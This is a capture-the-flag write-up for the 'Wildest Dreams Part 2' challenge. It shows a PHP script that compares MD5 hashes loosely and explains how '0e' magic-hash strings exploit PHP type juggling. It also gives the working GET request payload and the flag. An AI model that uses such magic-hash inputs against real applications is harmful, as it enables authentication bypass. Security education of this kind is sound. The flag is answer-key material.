Wildest Dreams Part 2

The opener is back for another round of fun. Enjoy http://chals.ctf.sg:40401 author: Gladiator

Taking a look at the source, we see that we have to attack the following PHP code:

<?php
	if(!empty($_GET['i1']) && !empty($_GET['i2'])){
		$i1 = $_GET['i1'];
		$i2 = $_GET['i2'];
		var_dump(md5($i1) == md5($i2));
		if($i1 === $i2){
			die("i1 and i2 can't be the same!");
		}
		$len1 = strlen($i1);
		$len2 = strlen($i2);
		if($len1 < 15){
			die("i1 is too shorttttttt pee pee pee pee pee");
		}
		if($len2 < 15){
			die("i2 is too shorttttttt pee pee pee pee pee");
		}
		if(md5($i1) == md5($i2)){
			echo $flag;
		}
		echo "<br>The more that you say, the less i know.";
	} else {
		echo "<br> You need to provide two strings, i1 and i2. /1989.php?i1=a&i2=b";
	}
?>

We are essentially looking for two strings whose MD5 hashes are "equal" to each other. In PHP, == (as opposed to ===) means that we are using loose comparison. In particular, when a string starts with 0e..., PHP will treat it as a float with value 0.0 (following scientific notation).

$ php -r "var_dump('0e1' == 0.0);"
bool(true)
$ php -r "var_dump('0e1' == '0e2');"
bool(true)

The result of this is that there are "magic hashes" that are considered equal to each other, and nice lists of strings that result in these magic hashes.

Using two of these strings with length 15 or more, we can solve this challenge.

GET /1989.php?i1=hello14916008992&i2=hello14943865304 HTTP/1.1

The flag is CTFSG{you_see_me_in_h1nds1ght_tangled_up_with_you_all_night}